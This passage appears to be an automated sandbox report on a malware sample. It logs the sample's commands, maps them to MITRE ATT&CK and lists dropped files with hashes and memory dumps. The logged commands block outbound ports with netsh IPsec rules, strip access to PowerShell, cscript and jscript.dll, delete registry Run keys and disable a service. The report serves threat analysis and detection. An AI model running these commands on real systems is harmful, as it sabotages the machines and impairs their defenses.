- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9999 protocol=TCP
    3⤵
    PID:4260
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14443 protocol=TCP
    3⤵
    PID:2784
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14444 protocol=TCP
    3⤵
    PID:4672
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filteraction name=FilteraAtion1 action=block
    3⤵
    PID:3184
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1
    3⤵
    PID:4676
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static set policy name=qianye assign=y
    3⤵
    PID:3416
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\jscript.dll
    3⤵
    - Modifies file permissions
    PID:3816
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\jscript.dll /E /P everyone:N
    3⤵
    PID:3964
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\jscript.dll
    3⤵
    - Modifies file permissions
    PID:4340
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\jscript.dll /E /P everyone:N
    3⤵
    PID:3220
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\cscript.exe
    3⤵
    - Modifies file permissions
    PID:3464
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\cscript.exe /E /P everyone:N
    3⤵
    PID:212
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\cscript.exe
    3⤵
    - Modifies file permissions
    PID:4448
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\cscript.exe /E /P everyone:N
    3⤵
    PID:1468
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Modifies file permissions
    PID:2452
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /E /P everyone:N
    3⤵
    PID:3896
- - C:\Windows\SysWOW64\takeown.exe
    "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Modifies file permissions
    PID:2332
- - C:\Windows\SysWOW64\cacls.exe
    "C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe /E /P everyone:N
    3⤵
    PID:2088
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\SysWOW64\reg.exe" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f
    3⤵
    PID:228
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\SysWOW64\reg.exe" delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f
    3⤵
    PID:1536
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\SysWOW64\reg.exe" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg /f
    3⤵
    PID:1612
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\SysWOW64\sc.exe" stop wmiApSrv
    3⤵
    - Launches sc.exe
    PID:3020
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\SysWOW64\sc.exe" config wmiApSrv start=disabled
    3⤵
    - Launches sc.exe
    PID:1404

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Web Service

T1102

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\e589911.rbs

Filesize
2KB

MD5
0c04175a66b5a5615682e59a4c681708

SHA1
055139eb0934270d99e04a7aa56464f6e1b1f0a8

SHA256
b3c236f3fb9ae48aae646b9d2c29e8e319d9e163b826ea1af556cb6261004f8b

SHA512
10e1c7a66e1c56e8e3523554c6fd31d45e9605274125a60d0198d34111584357f150fdfba6c21b4f6124e90564551c3a9cab4023b0f46cea65f8897d1a7ee754

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
def65711d78669d7f8e69313be4acf2e

SHA1
6522ebf1de09eeb981e270bd95114bc69a49cda6

SHA256
aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

SHA512
05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
00a86240b5c304abe9e488af38b8c9d3

SHA1
317743df92b7c2c3d6251eb3a4df35c32193447c

SHA256
59c239c5251c3b1827f143999d84cbc62faa111afaa5cc37f329c87717296335

SHA512
ca0efcc7b1ef7443278042d653cd14bb60ea2cdbce9dc1a4c2e352e5b82bb553e66471aa148fffdf07aba75113fe68a379d439ef5abad746502aba34844dbbf4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
13214e1cc2f3e0fd236017ec5a40418f

SHA1
5f6f0d09fb74903fb385f9d236ba72a1c4c289cc

SHA256
c3ac5878c1e71a00c2e9a1b47c930d544b63aef746539c58f0525f6d1e60a995

SHA512
3925684223c6bceb3c86b3710089be51019948040203fce379e67494169d50d8675bc26d482e3c5d55106b0a59943abb6fe9036b3777f6ed196dcedb2e5aee64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
9fa43e444b5201f5892752fe6084759f

SHA1
e9280aadfad7246a60b44df2cb6583e1361648d4

SHA256
aea86c92f22ab6e190c37ae0402e536052d8b97b3e6617ff1bab9919b9cdf8b7

SHA512
9e9c44c13fec12470cbbf1b7de6fbb9625bae2748cb48ad1ef200b840670ace8682d78ee5824271da245b1838f4321c26af3703d64a8de49797047ea252df6b6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
9fa43e444b5201f5892752fe6084759f

SHA1
e9280aadfad7246a60b44df2cb6583e1361648d4

SHA256
aea86c92f22ab6e190c37ae0402e536052d8b97b3e6617ff1bab9919b9cdf8b7

SHA512
9e9c44c13fec12470cbbf1b7de6fbb9625bae2748cb48ad1ef200b840670ace8682d78ee5824271da245b1838f4321c26af3703d64a8de49797047ea252df6b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bomb25km.25x.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
6KB

MD5
64b85606f604c59c2c951d8a1d76a2e4

SHA1
fd1d0606018ed0f7fff076309059eab4753631ae

SHA256
64fd450052edd9f00de0c8ae08f1a4f3b339644ec9943752bc8e4f51b19eaebd

SHA512
5403af848e1726e00a031cafe0075d328a82baef0a25d7b2147899eea6246ae09b282ca7f83fdbdc4a8cfb58bd6787f8246e3188b84b652e72732c24a41d0372

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
6KB

MD5
64b85606f604c59c2c951d8a1d76a2e4

SHA1
fd1d0606018ed0f7fff076309059eab4753631ae

SHA256
64fd450052edd9f00de0c8ae08f1a4f3b339644ec9943752bc8e4f51b19eaebd

SHA512
5403af848e1726e00a031cafe0075d328a82baef0a25d7b2147899eea6246ae09b282ca7f83fdbdc4a8cfb58bd6787f8246e3188b84b652e72732c24a41d0372

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
6KB

MD5
f2382d54b1c85500548c0633170c60fc

SHA1
4e709ca2d1c7980dfd72665562b05a94b6f07877

SHA256
d9d789435c5bdd087273ba525cb9099c1ee85f1f6fbe00bd9ba17530badc761f

SHA512
bc1f6f5a27d15884f748115f393fca19b5162b1ae0106a6ce1b7522809831384b695e00fdedffa917b6912cb4c7bf3ed9aa471f7896a2a316988376472599970

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
6KB

MD5
cdbf2736852a4ee0eeee08eea2ea37ed

SHA1
afbbc27dd2f7a65e34aff38700ae4d66c1801e74

SHA256
dbe8332f527123430064cf8278ef4e68884e2658b674182cabe32b1a211d4de4

SHA512
e8d84171afa3f5265175c4c96b314b3facfa48e4dc4f43c528ac5cf50c3dc0d861d55827f291b35de9b4b2201ce192d08e0c89cf10bdb5d6a911d68d17cc74ac

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
6KB

MD5
459b2d0226090c76c549d247c51a852d

SHA1
35fe4b90add10e02710198b787053d59420a15fe

SHA256
338ef4efe41a5805571942277325a91c008d5ff41638152b669e9ecaa8be017f

SHA512
d6bf43c3943d01ec266e3d72835846deedde7024e4c5d2773ef9831dbb7fa3396a15849bf88d86e5c52c0f660548e592d3fcb22f5d8b194e2ac46e12d2b90c6e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
6KB

MD5
459b2d0226090c76c549d247c51a852d

SHA1
35fe4b90add10e02710198b787053d59420a15fe

SHA256
338ef4efe41a5805571942277325a91c008d5ff41638152b669e9ecaa8be017f

SHA512
d6bf43c3943d01ec266e3d72835846deedde7024e4c5d2773ef9831dbb7fa3396a15849bf88d86e5c52c0f660548e592d3fcb22f5d8b194e2ac46e12d2b90c6e

Download Submit
C:\Windows\Installer\MSI8EFC.tmp

Filesize
2.8MB

MD5
1ba4c0146eda0f204a892338e8283521

SHA1
179c033972853250cbf6eedb7b51dadb75936fcb

SHA256
6bf1f5cd684bad9dd43b022e2789e388a36c72d5a87965c644cab01a51249e1e

SHA512
fee3759b73c107fd420d514554f1f1d29b77421ab0ced61dab8f44b8380bb7c836609bd809624fea0a5e68dc17fd2aad09ec3e8e852775edd627ea8305f63ae3

Download Submit
C:\Windows\Installer\MSI94E9.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
C:\Windows\Installer\MSI94E9.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
C:\Windows\Installer\MSI9651.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
C:\Windows\Installer\MSI9651.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
C:\Windows\Installer\MSI971E.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
C:\Windows\Installer\MSI971E.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
C:\Windows\Installer\MSI971E.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
C:\Windows\Installer\MSI97CA.tmp

Filesize
537KB

MD5
d7ec04b009302b83da506b9c63ca775c

SHA1
6fa9ea09b71531754b4cd05814a91032229834c0

SHA256
00c0e19c05f6df1a34cc3593680a6ab43874d6cd62a8046a7add91997cfabcd4

SHA512
171c465fe6f89b9e60da97896990d0b68ef595c3f70ee89b44fcf411352da22a457c41f7b853157f1faa500513419e504696775eefabe520f835ce9be5f4081c

Download Submit
C:\Windows\Installer\MSI97CA.tmp

Filesize
537KB

MD5
d7ec04b009302b83da506b9c63ca775c

SHA1
6fa9ea09b71531754b4cd05814a91032229834c0

SHA256
00c0e19c05f6df1a34cc3593680a6ab43874d6cd62a8046a7add91997cfabcd4

SHA512
171c465fe6f89b9e60da97896990d0b68ef595c3f70ee89b44fcf411352da22a457c41f7b853157f1faa500513419e504696775eefabe520f835ce9be5f4081c

Download Submit
C:\Windows\Installer\MSI9868.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
C:\Windows\Installer\MSI9868.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
memory/3416-156-0x0000000006D90000-0x0000000006DB2000-memory.dmp

Filesize
136KB

Download
memory/3416-142-0x0000000004EE0000-0x0000000004F46000-memory.dmp

Filesize
408KB

Download
memory/3416-137-0x0000000004800000-0x0000000004836000-memory.dmp

Filesize
216KB

Download
memory/3416-138-0x0000000004FA0000-0x00000000055C8000-memory.dmp

Filesize
6.2MB

Download
memory/3416-139-0x0000000004960000-0x0000000004970000-memory.dmp

Filesize
64KB

Download
memory/3416-140-0x0000000004960000-0x0000000004970000-memory.dmp

Filesize
64KB

Download
memory/3416-158-0x0000000004960000-0x0000000004970000-memory.dmp

Filesize
64KB

Download
memory/3416-157-0x0000000007410000-0x00000000079B4000-memory.dmp

Filesize
5.6MB

Download
memory/3416-141-0x0000000004D40000-0x0000000004D62000-memory.dmp

Filesize
136KB

Download
memory/3416-155-0x0000000006C80000-0x0000000006C9A000-memory.dmp

Filesize
104KB

Download
memory/3416-154-0x0000000006CF0000-0x0000000006D86000-memory.dmp

Filesize
600KB

Download
memory/3416-153-0x0000000005BD0000-0x0000000005BEE000-memory.dmp

Filesize
120KB

Download
memory/3416-148-0x00000000055D0000-0x0000000005636000-memory.dmp

Filesize
408KB

Download
memory/3624-189-0x00000000053D0000-0x00000000053E0000-memory.dmp

Filesize
64KB

Download
memory/3624-190-0x00000000053D0000-0x00000000053E0000-memory.dmp

Filesize
64KB

Download
memory/3928-191-0x0000000005260000-0x0000000005270000-memory.dmp

Filesize
64KB

Download
memory/4192-133-0x0000000000440000-0x000000000045F000-memory.dmp

Filesize
124KB

Download
memory/4624-198-0x00000000029B0000-0x00000000029C0000-memory.dmp

Filesize
64KB

Download
memory/4624-192-0x00000000029B0000-0x00000000029C0000-memory.dmp

Filesize
64KB

Download
memory/4840-259-0x0000000005510000-0x0000000005520000-memory.dmp

Filesize
64KB

Download
memory/4840-260-0x0000000005510000-0x0000000005520000-memory.dmp

Filesize
64KB

Download
memory/4840-262-0x0000000008380000-0x00000000089FA000-memory.dmp

Filesize
6.5MB

Download
memory/4840-263-0x0000000005510000-0x0000000005520000-memory.dmp

Filesize
64KB

Download
memory/4840-264-0x0000000005510000-0x0000000005520000-memory.dmp

Filesize
64KB

Download
memory/4840-265-0x0000000005510000-0x0000000005520000-memory.dmp

Filesize
64KB

Download
memory/4840-266-0x0000000005510000-0x0000000005520000-memory.dmp

Filesize
64KB

Download